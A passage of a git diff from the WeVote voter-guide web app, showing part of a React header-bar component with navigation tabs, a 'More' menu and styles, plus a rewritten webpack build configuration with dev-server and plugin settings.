(document.getElementById('ballotTabHeaderBar')) { + headerObjects.ballot = document.getElementById('ballotTabHeaderBar').innerHTML; + } + if (document.getElementById('candidatesTabHeaderBar')) { + headerObjects.candidates = document.getElementById('candidatesTabHeaderBar').innerHTML; + } + if (document.getElementById('challengesTabHeaderBar')) { + headerObjects.challenges = document.getElementById('challengesTabHeaderBar').innerHTML; + } + if (document.getElementById('friendsTabHeaderBar')) { + headerObjects.opinions = document.getElementById('friendsTabHeaderBar').innerHTML; + } + if (document.getElementById('discussTabHeaderBar')) { + headerObjects.discuss = document.getElementById('discussTabHeaderBar').innerHTML; + } + if (document.getElementById('donateTabHeaderBar')) { + headerObjects.donate = document.getElementById('donateTabHeaderBar').innerHTML; + } + if (document.getElementById('HeaderNotificationMenuWrapper')) { + headerObjects.bell = document.getElementById('HeaderNotificationMenuWrapper').innerHTML; + } + if (document.getElementById('profileAvatarHeaderBar')) { + headerObjects.photo = document.getElementById('profileAvatarHeaderBar').innerHTML; + } + if (document.getElementById('moreTabHeaderBar')) { + headerObjects.more = document.getElementById('moreTabHeaderBar').innerHTML; + } + if (document.getElementById('howItWorksTabHeaderBar')) { + headerObjects.howItWorks = document.getElementById('howItWorksTabHeaderBar').innerHTML; + } + }, 1000); + } + this.syncTabsToRoute(); + } + + componentDidUpdate () { + // console.log('HeaderBar componentDidUpdate'); + const { page } = this.state; + if (page !== normalizedHrefPage()) { + this.syncTabsToRoute(); + } + } + + componentDidCatch (error, info) { + // We should get this information to Splunk! + console.error('HeaderBar caught error: ', `${error} with info: `, info); + } + + componentWillUnmount () { + this.appStateSubscription.unsubscribe(); + this.friendStoreListener.remove(); + this.voterStoreListener.remove(); + this.analyticsStoreListener.remove(); + window.removeEventListener('resize', this.handleResizeLocal); + if (this.setStyleTimeout) clearTimeout(this.setStyleTimeout); + } + + handleTabChange = (newValue) => { + this.setState({ tabsValue: newValue }, () => { + // console.log('handleTabChange ', newValue); + this.customHighlightSelector(newValue); + }); + }; + + handleResizeLocal () { + if (handleResize('HeaderBar')) { + this.setState({}); + } + } + + onFriendStoreChange () { + // console.log('HeaderBar, onFriendStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess')); + if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) { + // console.log('HeaderBar, onFriendStoreChange'); + this.setState({ + // friendInvitationsSentToMe: FriendStore.friendInvitationsSentToMe(), + }); + } + } + + onVoterStoreChange () { + // console.log('HeaderBar, onVoterStoreChange textOrEmailSignInInProcess: ' + signInModalGlobalState.get('textOrEmailSignInInProcess')); + // console.log('HeaderBar, onVoterStoreChange voter: ', VoterStore.getVoter()); + + if (!signInModalGlobalState.get('textOrEmailSignInInProcess')) { + // console.log('HeaderBar, onVoterStoreChange ', VoterStore.getFirstName(), VoterStore.getFullName()); + const voter = VoterStore.getVoter(); + // const voterFirstName = VoterStore.getFirstName(); + const voterIsSignedIn = voter.is_signed_in || false; + this.setState({ + voter, + // voterFirstName, + voterIsSignedIn, + showSignInModal: AppObservableStore.showSignInModal(), + // showOrganizationModal: AppObservableStore.showOrganizationModal(), + // showPositionDrawer: AppObservableStore.showPositionDrawer(), + }); + } + } + + // eslint-disable-next-line no-unused-vars + onAppObservableStoreChange (msg) { + // console.log('------ HeaderBar, onAppObservableStoreChange received: ', msg); + this.setState({ + chosenSiteLogoUrl: AppObservableStore.getChosenSiteLogoUrl(), + hideWeVoteLogo: AppObservableStore.getHideWeVoteLogo(), + // inPrivateLabelMode: AppObservableStore.getHideWeVoteLogo(), // Using this setting temporarily // setState onAppObservableStoreChange is not working for some reason + // organizationModalBallotItemWeVoteId: AppObservableStore.getOrganizationModalBallotItemWeVoteId(), + scrolledDown: AppObservableStore.getScrolledDown(), + // whatAndHowMuchToShare: AppObservableStore.getWhatAndHowMuchToShare(), + showSignInModal: AppObservableStore.showSignInModal(), + }); + } + + onAnalyticsStoreChange () { + // A page reload for iOS in Cordova after facebook login forces the need for a voterRetrieve, after redrawing the page + // (and without requiring changes to the API server), the first response that indicates 'is signed in' is an Analytics call response + // console.log('onAnalyticsStoreChange VoterStore.getVoterIsSignedIn(): ', VoterStore.getVoterIsSignedIn(), ' AnalyticsStore.getIsSignedIn(): ', AnalyticsStore.getIsSignedIn(), 'FacebookStore.loggedIn: ', FacebookStore.loggedIn, 'VoterStore.voterDeviceId(): ', VoterStore.voterDeviceId()); + if (isCordova() && VoterStore.getVoterIsSignedIn() === false && (AnalyticsStore.getIsSignedIn() || FacebookStore.loggedIn)) { + if (apiCalming('voterRetrieve', 500)) { + // console.log('Cordova: HeaderBar onAnalyticsStoreChange, firing voterRetrieve --------------'); // Do not comment out or delete + VoterActions.voterRetrieve(); + } + } + } + + syncTabsToRoute = () => { + const nextPage = normalizedHrefPage(); + const nextValue = this.getTabsValueFromPage(); + this.setState({ tabsValue: nextValue, page: nextPage }, () => { + this.customHighlightSelector(nextValue || false); + }); + }; + + getTabsValueFromPage = () => { + const page = normalizedHrefPage(); + switch (page) { + case 'ballot': + return 1; + case 'candidatelist': + case 'politicianpage': + return 2; + case 'donate': + case 'more/donate': + return 3; + case 'election-finder': + case 'friends': + case 'news': + case 'challenges': + case 'more': + case 'more/faq': + case 'managecandidates': + case 'no-candidates-claimed': + return 4; + default: + return 0; + } + }; + + // goToSearch = () => { + // historyPush('/opinions'); + // } + + openHowItWorksModal = () => { + // console.log('Opening modal'); + AppObservableStore.setShowHowItWorksModal(true); + }; + + transitionToYourVoterGuide () { + // Positions for this organization, for this voter/election + OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, true); + + // Positions for this organization, NOT including for this voter / election + // const googleCivicElectionId = 0; + // if (!OrganizationStore.positionListForOpinionMakerHasBeenRetrievedOnce(googleCivicElectionId, this.state.voter.linked_organization_we_vote_id)) { + OrganizationActions.positionListForOpinionMaker(this.state.voter.linked_organization_we_vote_id, false, true); + // } + if (apiCalming('organizationsFollowedRetrieve', 60000)) { + OrganizationActions.organizationsFollowedRetrieve(); + } + VoterGuideActions.voterGuideFollowersRetrieve(this.state.voter.linked_organization_we_vote_id); + VoterGuideActions.voterGuidesFollowedByOrganizationRetrieve(this.state.voter.linked_organization_we_vote_id); + } + + debugLogging (text) { + const isDebugLogging = false; + if (isDebugLogging) { + console.log(`HeaderBar shouldComponentUpdate: ${text}`); + } + } + + // Highlight the active tab, but don't highlight anything if not on one of the tabs, for example we are on 'friends' + customHighlightSelector (currentValue) { + const normal = { + opacity: 0.7, + fontWeight: 500, + color: 'rgba(51, 51, 51)', + }; + // Should use theme.colors.brandBlue instead of directly using '#2e3c5d' + const highlight = { + opacity: 1, + fontWeight: 600, + color: '#2e3c5d', + }; + + if (window.$) { + // console.log('customHighlightSelector called for page: ', normalizedHrefPage()); + const ballot = $('#ballotTabHeaderBar'); + const candidates = $('#candidatesTabHeaderBar'); + const challenges = $('#challengesTabHeaderBar'); + const friends = $('#friendsTabHeaderBar'); + const news = $('#discussTabHeaderBar'); + const donate = $('#donateTabHeaderBar'); + const squads = $('#squadsTabHeaderBar'); + const more = $('#moreTabHeaderBar'); + ballot.css(normal); + candidates.css(normal); // Candidates (not individual candidate page) + challenges.css(normal); // Democracy Challenges + friends.css(normal); // Friends + news.css(normal); // Discuss + donate.css(normal); // Donate + squads.css(normal); // Squads + more.css(normal); // More + + + switch (normalizedHrefPage()) { + case 'ballot': + ballot.css(highlight); + break; + case 'candidatelist': // displays same page as "cs" + candidates.css(highlight); + break; + case 'donate': + case 'more/donate': + donate.css(highlight); + break; + case 'challenges': + case 'election-finder': + case 'more/faq': + case 'friends': + case 'managecandidates': + case 'no-candidates-claimed': + case 'more': + case 'news': + case 'squads': + more.css(highlight); + break; + case 'politicianpage': + candidates.css(highlight); + break; + default: + break; + } + if (currentValue === 4) { + more.css(highlight); + } + } else { + setTimeout(() => { + console.log('customHighlightSelector purposefully called recursively'); + this.customHighlightSelector(currentValue); + }, 500); + } + + this.setState({ page: normalizedHrefPage() }); + } + + goToSettings () { + console.log('goToSettings IN HeaderBar setDrawerOpen'); + AppObservableStore.setDrawerOpen('headerProfileDrawerOpen', true); + } + + toggleSignInModal () { + const { showSignInModal } = this.state; + // console.log('HeaderBar toggleSignInModal showSignInModal:', showSignInModal); + AppObservableStore.setShowSignInModal(!showSignInModal); + this.setState({ + showSignInModal: !showSignInModal, + }); + } + + render () { + renderLog('HeaderBar'); // Set LOG_RENDER_EVENTS to log all renders + if (!this.state.componentDidMountFinished) { + // console.log('HeaderBar suppressed for !componentDidMountFinished'); + return null; + } + + if (window.leanLoadForChromeExtension) { + // console.log('HeaderBar suppressed for Chrome Extension'); + return null; // No header on the iFramed pages for the Chrome Extension + } + + const { classes } = this.props; + const { + chosenSiteLogoUrl, hideWeVoteLogo, scrolledDown, + voter, voterIsSignedIn, tabsValue, + } = this.state; + const inPrivateLabelMode = AppObservableStore.getHideWeVoteLogo(); // setState onAppObservableStoreChange is not working for some reason + // console.log('HeaderBar inPrivateLabelMode:', inPrivateLabelMode); + const voterPhotoUrlMedium = voterPhoto(voter); + + const doNotShowWeVoteLogo = weVoteBrandingOff() || hideWeVoteLogo; + const showWeVoteLogo = !doNotShowWeVoteLogo; + + const isFriends = normalizedHrefPage() === 'friends'; // The URL '/friends/request' yields 'friends' + let avatarStyle = {}; + if (isCordova()) { + avatarStyle = { marginBottom: 2 }; + } + if (isSmallTablet()) { + avatarStyle = { ...avatarStyle, paddingRight: 10 }; + } + // console.log('HeaderBar hasNotch, scrolledDown, hasSubmenu', hasCordovaNotch(), scrolledDown, displayTopMenuShadow()); + const displayMenu = !isMobileScreenSize() || isTablet(); + // console.log('HeaderBar isMobileScreenSize(), isTablet()', isMobileScreenSize(), isTablet()); + let donateValue; + let donateVisible; + let moreValue; + if (inPrivateLabelMode) { + donateValue = 3; + donateVisible = false; + moreValue = 3; + } else { + donateValue = 3; + donateVisible = true; + moreValue = 4; + } + + // console.log('HeaderBar !isMobileScreenSize()', displayMenu); + // console.log('normalizedHrefPage():', normalizedHrefPage()); + return ( + + + {/* */} + {/* */} + + {(showWeVoteLogo || chosenSiteLogoUrl) && ( + + )} + + +
+ {displayMenu && ( + <> + this.handleTabChange(val)} + > + + + {donateVisible && ( + + )} + + More + + + )} + value={moreValue} + onClick={(event) => { + this.setState({ moreAnchorEl: event.currentTarget }); + this.handleTabChange(3); // Highlight the tab + }} + onKeyDown={(e) => { + if (e.key === 'Enter' || e.key === ' ') { + e.preventDefault(); + this.setState({ moreAnchorEl: e.currentTarget }); + this.handleTabChange(3); // Highlight the tab + } + }} + aria-controls="more-menu" + aria-haspopup="true" + wrapped + /> + + this.setState({ moreAnchorEl: null })} + anchorOrigin={{ vertical: 'bottom', horizontal: 'left' }} + transformOrigin={{ vertical: 'top', horizontal: 'left' }} + > + { + this.setState({ moreAnchorEl: null }); + this.handleTabChange(4); + }} + selected={normalizedHrefPage() === 'more/faq'} + to="/more/faq" + disableRipple + > + About & FAQ + + + + How it works + + + }> + { + this.setState({ moreAnchorEl: null }); + }} + disableRipple + > + Help + + )} + /> + + + {nextReleaseFeaturesEnabled && ( + { + this.setState({ moreAnchorEl: null }); + this.handleTabChange(4); + }} + selected={['manage', 'managecandidates', 'no-candidates-claimed'].includes(normalizedHrefPage())} + to="/no-candidates-claimed" + disableRipple + > + Candidates I'm managing + + )} + + { + this.setState({ moreAnchorEl: null }); + this.handleTabChange(4); + }} + selected={normalizedHrefPage() === 'election-finder'} + to="/election-finder" + disableRipple + > + Election finder + + + { + this.setState({ moreAnchorEl: null }); + this.handleTabChange(4); + }} + to="/friends" + selected={normalizedHrefPage() === 'friends'} + disableRipple + > + Friends + + + {isWebApp() && ( // Not in Cordova release 2.7.4 phones or tablets + { + this.setState({ moreAnchorEl: null }); + this.handleTabChange(4); + }} + selected={normalizedHrefPage() === 'news'} + to="/news" + disableRipple + > + Discuss + + )} + + {nextReleaseFeaturesEnabled && ( + { + this.setState({ moreAnchorEl: null }); + this.handleTabChange(4); + }} + selected={normalizedHrefPage() === 'challenges'} + to="/challenges" + disableRipple + > + Challenges + + )} + + {isWebApp() && ( // Not in Cordova release 2.7.4 phones or tablets + }> + Blog + )} + className={classes.tabRootBlog} + /> + + )} + + + )} +
+
+ + {voterIsSignedIn && voterPhotoUrlMedium ? ( + <> + {/* +
+ {showEditAddressButton && editAddressButtonHtml} +
+ */} + {/* +
+ {searchButtonHtml} +
+ */} + }> + + +
+ +
+ + ) : (voterIsSignedIn && ( + <> + {/* +
+ {showEditAddressButton && editAddressButtonHtml} +
+ */} + {/* +
+ {searchButtonHtml} +
+ */} + }> + + + + + + + ))} + {!voterIsSignedIn && ( + <> + {/* +
+ {showEditAddressButton && editAddressButtonHtml} +
+ */} + {/* +
+ {searchButtonHtml} +
+ */} + + + )} +
+ + {(isFriends && voterIsSignedIn) && ( + + )} + +
+ +
+ ); + } +} +HeaderBar.propTypes = { + classes: PropTypes.object, +}; + +const styles = (theme) => { + const tabBase = { + color: 'rgba(51, 51, 51, 0.7)', + fontSize: 18, + minWidth: 90, + opacity: 0.7, + paddingTop: 17, + '&.Mui-selected': { + color: '#2e3c5d', + fontWeight: 600, + opacity: 1, + }, + }; + const tabSelected = { + color: '#2e3c5d', + fontWeight: 600, + opacity: 1, + }; + + return { + tabRoot: { ...tabBase }, + tabRootMore: { ...tabBase }, + tabSelected: { ...tabSelected }, + + padding: { + padding: `0 ${theme.spacing(2)}px`, + }, + moreLabel: { + alignItems: 'center', + display: 'flex', + gap: 4, + lineHeight: 1, + }, + tabMoreIcon: { + color: 'inherit', + fontSize: 22, + }, + + addressButtonRoot: { + '&:hover': { + backgroundColor: 'transparent', + }, + color: 'rgba(17, 17, 17, .5)', + outline: 'none !important', + paddingRight: 6, + [theme.breakpoints.up('sm')]: { + paddingLeft: 0, + }, + [theme.breakpoints.down('sm')]: { + paddingTop: 6, + marginLeft: 2, + paddingLeft: 0, + }, + }, + addressIconButtonRoot: { + paddingTop: 1, + paddingRight: 6, + paddingBottom: 3, + paddingLeft: 0, + color: 'rgba(17, 17, 17, .4)', + outline: 'none !important', + '&:hover': { + backgroundColor: 'transparent', + }, + [theme.breakpoints.up('sm')]: { + paddingRight: 2, + }, + }, + iconButtonRoot: { + paddingTop: 1, + paddingRight: 0, + paddingBottom: 3, + paddingLeft: 0, + color: 'rgba(17, 17, 17, .4)', + outline: 'none !important', + '&:hover': { + backgroundColor: 'transparent', + }, + }, + searchButtonRoot: { + '&:hover': { + backgroundColor: 'transparent', + }, + color: 'rgba(17, 17, 17, .5)', + outline: 'none !important', + paddingTop: 0, + paddingRight: 0, + [theme.breakpoints.up('sm')]: { + paddingLeft: 0, + }, + [theme.breakpoints.down('sm')]: { + marginLeft: 2, + paddingLeft: 0, + }, + }, + tooltipPlacementBottom: { + marginTop: 0, + }, + tabRootBallot: { + minWidth: 90, + [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets + minWidth: 0, + fontSize: 20, + padding: '16px 8px 10px 8px', + }, + [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets + fontSize: 20, + padding: '16px 16px 10px 16px', + }, + [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops + fontSize: 24, + }, + }, + tabRootBallotDesktop: { + fontSize: 18, + minWidth: 90, + paddingTop: 17, + }, + tabRootBlog: { + color: 'rgba(51, 51, 51, 0.7)', + }, + tabRootCandidates: { + minWidth: 90, + [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets + minWidth: 0, + fontSize: 20, + padding: '16px 8px 10px 8px', + }, + [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets + fontSize: 20, + padding: '16px 16px 10px 16px', + }, + [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktops + fontSize: 24, + }, + }, + tabRootCandidatesDesktop: { + fontSize: 18, + minWidth: 90, + paddingTop: 17, + }, + tabRootDonate: { + minWidth: 70, + [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets + minWidth: 0, + fontSize: 20, + padding: '16px 8px 10px 8px', + }, + [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets + fontSize: 20, + padding: '16px 16px 10px 16px', + }, + [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop + fontSize: 24, + }, + }, + tabRootDonateDesktop: { + fontSize: 18, + minWidth: 70, + paddingTop: 17, + }, + tabRootFriends: { + minWidth: 90, + [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets + minWidth: 0, + fontSize: 20, + padding: '16px 8px 10px 8px', + }, + [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets + fontSize: 20, + padding: '16px 16px 10px 16px', + }, + [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop + fontSize: 24, + }, + }, + tabRootFriendsDesktop: { + fontSize: 18, + minWidth: 90, + paddingTop: 17, + }, + tabRootNews: { + minWidth: 70, + [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets + minWidth: 0, + fontSize: 20, + padding: '16px 8px 10px 8px', + }, + [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets + fontSize: 20, + padding: '16px 16px 10px 16px', + }, + [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop + fontSize: 24, + }, + }, + tabRootNewsDesktop: { + fontSize: 18, + minWidth: 70, + paddingTop: 17, + }, + tabRootHowItWorks: { + minWidth: 70, + [theme.breakpoints.between('tabMin', 'tabMdMin')]: { // Small Tablets + minWidth: 0, + fontSize: 20, + padding: '16px 8px 10px 8px', + }, + [theme.breakpoints.between('tabMdMin', 'tabLgMin')]: { // Medium Tablets + fontSize: 20, + padding: '16px 16px 10px 16px', + }, + [theme.breakpoints.up('tabLgMin')]: { // Larger Tablets, and desktop + fontSize: 24, + }, + }, + }; +}; + +const HeaderBarWrapper = styled.div.attrs({ + className: 'HeaderBarWrapper', // div.attrs and className all added to achieve drop-shadow on Donate page + shouldForwardProp: (prop) => !['scrolledDown', 'hasSubmenu'].includes(prop), +})(({ scrolledDown, hasSubmenu }) => (` + box-shadow: ${(!scrolledDown || !hasSubmenu) ? '' : standardBoxShadow('wide')}; + border-bottom: ${(!scrolledDown || !hasSubmenu) ? '' : '1px solid #aaa'}; + padding-left: calc(100vw - 100%); +`)); + +const StyledHeaderMenuTabs = styled(Tabs)` + // {() => (isIOSAppOnMac() ? '' : displayNoneIfSmallerThanDesktop())}; +`; +const StyledMoreMenu = styled(Menu)` + .MuiPaper-root { + border-radius: 8px; + box-shadow: ${standardBoxShadow('wide')}; + margin-top: 8px; + min-width: 200px; + } +`; + +const StyledMoreMenuItem = styled(MenuItem)` + color: rgba(51, 51, 51, 0.7); + font-size: 18px; + font-weight: 500; + line-height: 1.2; + opacity: 1; + padding: 12px 16px; + position: relative; + + &:hover { + background: rgba(46, 60, 93, 0.06); + } + + &.Mui-selected, + &.Mui-selected:hover { + background: transparent; + color: #2e3c5d; + font-weight: 600; + opacity: 1; + } +`; + +export default withStyles(styles)(HeaderBar); diff --git a/webpack.config.js b/webpack.config.js index a0704b707..d4e9ceb61 100644 --- a/webpack.config.js +++ b/webpack.config.js @@ -1,196 +1,197 @@ -/* jshint esversion: 6 */ -const CopyPlugin = require('copy-webpack-plugin'); -const ESLintPlugin = require('eslint-webpack-plugin'); -const HtmlWebpackPlugin = require('html-webpack-plugin'); -const MomentLocalesPlugin = require('moment-locales-webpack-plugin'); -const SourceMapDevToolPlugin = require('webpack/lib/SourceMapDevToolPlugin'); -const TerserPlugin = require('terser-webpack-plugin'); -const UnusedWebpackPlugin = require('unused-webpack-plugin'); -const WebpackShellPluginNext = require('webpack-shell-plugin-next'); -const fs = require('fs'); -const path = require('path'); -const webpack = require('webpack'); -const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer'); - -const port = process.env.PORT || 3000; -const isHTTPS = process.env.PROTOCOL && process.env.PROTOCOL === 'HTTPS'; -const isWebApp = !process.env.npm_lifecycle_script.includes('CORDOVA=1'); -const useRealCerts = process.env.npm_lifecycle_script.includes('USE_REAL_CERTS=1'); -const isProduction = process.env.npm_lifecycle_script.includes('PRODUCTION=1'); -const source = isWebApp ? 'src' : 'srcCordova'; -const bundleAnalysis = process.env.ANALYSIS || false; // enable the interactive bundle analyser and the Unused component analyzer -const minimized = process.env.MINIMIZED === '1' || false; // enable the Terser plugin that strips comments and shrinks long variable names -const verBits = process.version.split('.'); -const major = parseInt(verBits[0].replace('v', '')); -if (major < 13) { - console.error(`The minimum Node version is: v14.0.0, but you are running ${process.version}\n`); -} else { - console.log(`Node version is: ${process.version}`); -} -if (useRealCerts) console.log('useRealCerts in webpack.config.js ', useRealCerts); -// console.log('crt: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`).toString()); -// console.log('key: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`).toString()); - -module.exports = (env, argv) => ({ - entry: path.resolve(__dirname, `./${source}/index.jsx`), - module: { - rules: [ - { - test: /\.(js|jsx)$/, - exclude: /node_modules|srcDeprecated/, - use: ['babel-loader'], - }, - { - test: /\.(png|jp(e*)g|svg|eot|woff|ttf)$/, - use: [ - { - loader: 'file-loader', - options: { - publicPath: '/', - exclude: /srcDeprecated/, - name: '[path][name].[ext]', - }, - }, - ], - }, - ], - }, - optimization: { - minimize: minimized, - minimizer: [ - ...(minimized ? [ - new TerserPlugin({ - parallel: true, - terserOptions: { - // https://github.com/webpack-contrib/terser-webpack-plugin#terseroptions - format: { - comments: false, - }, - }, - }), - ] : []), - ], - }, - resolve: { - modules: [path.resolve(__dirname, source), 'node_modules'], - extensions: ['.*', '.js', '.jsx'], - alias: { - '@mui/styled-engine': '@mui/styled-engine-sc', - }, - }, - output: { - path: path.resolve(__dirname, './build'), - filename: isWebApp ? '[name].[contenthash].js' : 'bundle.js', - publicPath: isWebApp ? '/' : undefined, - }, - infrastructureLogging: { - level: 'verbose', - }, - // source-map is for OpenReplay - devtool: 'source-map', - plugins: [ - new ESLintPlugin({ failOnError: false, failOnWarning: false }), - new HtmlWebpackPlugin({ - title: 'WeVote Sample Ballot', - template: path.resolve(__dirname, `./${source}/index.html`), - }), - ...(bundleAnalysis ? [ - new UnusedWebpackPlugin({ // Set ANALYSIS to true to list (likely) unused files - directories: [path.join(__dirname, source)], - exclude: [ - '/**/cert/', - '/**/global/svg-icons/', - '/*.test.js', - '/**/config*.*', - 'extension.html', - '/sass/', - '/robots.txt', - '/app-ads.txt', - 'srcDeprecated', - ], - root: __dirname, - }), - new BundleAnalyzerPlugin(), - ] : []), - new CopyPlugin({ - patterns: [ - { from: `${source}/robots.txt`, to: '.' }, - { from: `${source}/app-ads.txt`, to: '.' }, - { - from: `${source}/css/`, - to: 'css/', - globOptions: { ignore: ['**/mainPreBeautified.css', '**/mainSubtract.css']}, - }, - { from: `${source}/javascript`, to: 'javascript/' }, - { from: `${source}/extension.html`, to: '.' }, - { - from: `${source}/img`, - to: 'img/', - globOptions: { ignore: ['**/DO-NOT-BUNDLE/**']}, - }, - ...(isProduction ? [ - { from: 'node/STORYBOOK-README.TXT', to: './storybook-static/STORYBOOK-README.TXT' }, - { from: 'storybook-static', to: './storybook-static' }, - ] : []), - ], - }), - new MomentLocalesPlugin(), - new WebpackShellPluginNext({ - onBuildEnd: { - scripts: ['node ./src/js/common/node/webPackPostBuild.js'], - blocking: false, - parallel: true, - }, - }), - ...(argv.mode === 'production' ? [ - new webpack.DefinePlugin({ - // We need to get webpack into production mode, to make it include the much smaller minimized libraries - // especially for React itself. - // PRODUCTION: JSON.stringify(true), - 'process.env.NODE_ENV': JSON.stringify('production'), - 'REACT.FILE': JSON.stringify(path.basename(__filename)), // Injects the current file's basename - }), - ] : [ - new SourceMapDevToolPlugin({ - filename: isWebApp ? null : '[file].map', // if no value is provided the sourcemap is inlined - exclude: [/node_modules/, /css/], - }), - ]), - ], - devServer: { - allowedHosts: ['wevotedeveloper.com', 'localhost'], - static: { - directory: path.join(__dirname, './build/index.html'), - }, - host: (useRealCerts ? 'wevotedeveloper.com' : 'localhost'), - port, - historyApiFallback: true, - ...(isHTTPS ? { - server: { - type: 'https', - options: { - ...(useRealCerts ? { - // For testing with Cordova and real authoritative certs - key: fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`), - cert: fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`), - // requestCert: true, - // passphrase: 'webpack-dev-server', - } : { - key: fs.readFileSync(`./${source}/cert/server.key`), - cert: fs.readFileSync(`./${source}/cert/server.crt`), - }), - }, - }, - } : {}), - client: { - overlay: { - runtimeErrors: (error) => { - if (error.message.includes('ResizeObserver loop')) { - return false; - } - return true; - }, - }, - }, - }, -}); +/* jshint esversion: 6 */ +const CopyPlugin = require('copy-webpack-plugin'); +const ESLintPlugin = require('eslint-webpack-plugin'); +const HtmlWebpackPlugin = require('html-webpack-plugin'); +const MomentLocalesPlugin = require('moment-locales-webpack-plugin'); +const SourceMapDevToolPlugin = require('webpack/lib/SourceMapDevToolPlugin'); +const TerserPlugin = require('terser-webpack-plugin'); +const UnusedWebpackPlugin = require('unused-webpack-plugin'); +const WebpackShellPluginNext = require('webpack-shell-plugin-next'); +const fs = require('fs'); +const path = require('path'); +const webpack = require('webpack'); +const { BundleAnalyzerPlugin } = require('webpack-bundle-analyzer'); + +const port = process.env.PORT || 3000; +const isHTTPS = process.env.PROTOCOL && process.env.PROTOCOL === 'HTTPS'; +const isWebApp = !process.env.npm_lifecycle_script.includes('CORDOVA=1'); +const useRealCerts = process.env.npm_lifecycle_script.includes('USE_REAL_CERTS=1'); +const isProduction = process.env.npm_lifecycle_script.includes('PRODUCTION=1'); +const source = isWebApp ? 'src' : 'srcCordova'; +const bundleAnalysis = process.env.ANALYSIS || false; // enable the interactive bundle analyser and the Unused component analyzer +const minimized = process.env.MINIMIZED === '1' || false; // enable the Terser plugin that strips comments and shrinks long variable names +const verBits = process.version.split('.'); +const major = parseInt(verBits[0].replace('v', '')); +if (major < 13) { + console.error(`The minimum Node version is: v14.0.0, but you are running ${process.version}\n`); +} else { + console.log(`Node version is: ${process.version}`); +} +if (useRealCerts) console.log('useRealCerts in webpack.config.js ', useRealCerts); +// console.log('crt: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com.crt`).toString()); +// console.log('key: ', fs.readFileSync(`./${source}/cert/wevotedeveloper.com_key.txt`).toString()); + +module.exports = (env, argv) => ({ + entry: path.resolve(__dirname, `./${source}/index.jsx`), + module: { + rules: [ + { + test: /\.(js|jsx)$/, + exclude: /node_modules|srcDeprecated/, + use: ['babel-loader'], + }, + { + test: /\.(png|jp(e*)g|svg|eot|woff|ttf)$/, + use: [ + { + loader: 'file-loader', + options: { + publicPath: '/', + exclude: /srcDeprecated/, + name: '[path][name].[ext]', + }, + }, + ], + }, + ], + }, + optimization: { + minimize: minimized, + minimizer: [ + ...(minimized ? [ + new TerserPlugin({ + parallel: true, + terserOptions: { + // https://github.com/webpack-contrib/terser-webpack-plugin#terseroptions + format: { + comments: false, + }, + }, + }), + ] : []), + ], + }, + resolve: { + modules: [path.resolve(__dirname, source), 'node_modules'], + extensions: ['.*', '.js', '.jsx'], + alias: { + '@mui/styled-engine': '@mui/styled-engine-sc', + }, + }, + output: { + path: path.resolve(__dirname, './build'), + filename: isWebApp ? '[name].[contenthash].js' : 'bundle.js', + publicPath: isWebApp ? '/' : undefined, + }, + infrastructureLogging: { + level: 'verbose', + }, + // source-map is for OpenReplay + devtool: 'source-map', + plugins: [ + new ESLintPlugin({ failOnError: false, failOnWarning: false }), + new HtmlWebpackPlugin({ + title: 'WeVote Sample Ballot', + template: path.resolve(__dirname, `./${source}/index.html`), + }), + ...(bundleAnalysis ? [ + new UnusedWebpackPlugin({ // Set ANALYSIS to true to list (likely) unused files + directories: [path.join(__dirname, source)], + exclude: [ + '/**/cert/', + '/**/global/svg-icons/', + '/*.test.js', + '/**/config*.*', + 'extension.html', + '/sass/', + '/robots.txt', + '/app-ads.txt', + 'srcDeprecated', + ], + root: __dirname, + }), + new BundleAnalyzerPlugin(), + ] : []), + new CopyPlugin({ + patterns: [ + { from: `${source}/robots.txt`, to: '.' }, + { from: `${source}/app-ads.txt`, to: '.' }, + { + from: `${source}/css/`, + to: 'css/', + globOptions: { ignore: ['**/mainPreBeautified.css', '**/mainSubtract.css']}, + }, + { from: `${source}/javascript`, to: 'javascript/' }, + { from: `${source}/extension.html`, to: '.' }, + { + from: `${source}/img`, + to: 'img/', + globOptions: { ignore: ['**/DO-NOT-BUNDLE/**']}, + }, + ...(isProduction ? [ + { from: 'node/STORYBOOK-README.TXT', to: './storybook-static/STORYBOOK-README.TXT' }, + { from: 'storybook-static', to: './storybook-static' }, + ] : []), + ], + }), + new MomentLocalesPlugin(), + new WebpackShellPluginNext({ + onBuildEnd: { + scripts: ['node ./src/js/common/node/webPackPostBuild.js'], + blocking: false, + parallel: true, + }, + }), + ...(argv.mode === 'production' ? [ + new webpack.DefinePlugin({ + // We need to get webpack into production mode, to make it include the much smaller minimized libraries + // especially for React itself. + // PRODUCTION: JSON.stringify(true), + 'process.env.NODE_ENV': JSON.stringify('production'), + 'REACT.FILE': JSON.stringify(path.basename(__filename)), // Injects the current file's basename + }), + ] : [ + new SourceMapDevToolPlugin({ + filename: isWebApp ? null : '[file].map', // if no value is provided the sourcemap is inlined + exclude: [/node_modules/, /css/], + }), + ]), + ], + devServer: { + allowedHosts: ['wevotedeveloper.com', 'localhost'], + static: { + directory: path.join(__dirname, './build/index.html'), + }, + host: (useRealCerts ? 'wevotedeveloper.com' : 'localhost'), + port, + 